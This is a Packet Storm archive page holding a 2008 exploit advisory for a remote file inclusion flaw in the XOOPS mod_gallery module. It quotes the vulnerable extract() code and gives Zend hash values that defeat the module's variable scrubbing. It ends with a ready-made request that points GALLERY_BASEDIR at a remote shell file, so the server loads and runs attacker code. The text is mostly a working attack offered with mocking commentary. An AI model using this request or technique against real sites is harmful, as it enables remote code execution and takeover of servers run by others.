what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

xoopsgal-rfi.txt

xoopsgal-rfi.txt
Posted Jan 7, 2008
Authored by Eugene Minaev | Site itdefence.ru

XOOPS mod_gallery suffers from a Zend_Hack_key and Extract remote file inclusion vulnerability.

tags | exploit, remote, code execution, file inclusion
SHA-256 | 139724cc2739e1075c316cb65cc61f53e0a05ffe88943bcb122c9e52e5e41a3f

xoopsgal-rfi.txt

Change Mirror Download
----[ XOOPS mod_gallery Zend_Hash_key + Extract RFI ... ITDefence.ru Antichat.ru ]

XOOPS mod_gallery Zend_Hash_key + Extract REMOTE FILE INCLUDE
Eugene Minaev underwater@itdefence.ru
___________________________________________________________________
____/ __ __ _______________________ _______ _______________ \ \ \
/ .\ / /_// // / \ \/ __ \ /__/ /
/ / /_// /\ / / / / /___/
\/ / / / / /\ / / /
/ / \/ / / / / /__ //\
\ / ____________/ / \/ __________// /__ // /
/\\ \_______/ \________________/____/ 2007 /_//_/ // //\
\ \\ // // /
.\ \\ -[ ITDEFENCE.ru Security advisory ]- // // / .
. \_\\________[________________________________________]_________//_//_/ . .


Bug works only with register_globals = OFF . I find their security fix very fun , and you ? : )

<?php
/* Begin Security Fix */
$scrubList = array('HTTP_GET_VARS', 'HTTP_POST_VARS', 'HTTP_COOKIE_VARS', 'HTTP_POST_FILES');
foreach ($scrubList as $outer)
{
foreach ($scrubList as $inner)
{
if (isset(${$outer}[$inner]))
{
unset(${$outer}[$inner]);
}
}
}
....some php code...
/* End Security Fix */
extract($_GET);
extract($_POST);
extract($_COOKIE);
?>

Hah .. very serious security fix , yeah :)

<?php
if (substr(PHP_OS, 0, 3) == 'WIN') {
require_once($GALLERY_BASEDIR . "platform/fs_win32.php");
} else {
require_once($GALLERY_BASEDIR . "platform/fs_unix.php");
}
?>

zend_hash_key_calc.exe GALLERY_BASEDIR

GALLERY_BASEDIR
PHP5 hash: -2093085906
PHP4 hash: -995617320

test.ru/xoopsgallery/init_basic.php?GALLERY_BASEDIR=http://path/to/m0nzt3r_shell.txt?&2093085906=1&995617320=2


----[ FROM RUSSIA WITH LOVE :: underWHAT?! , gemaglabin ]

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close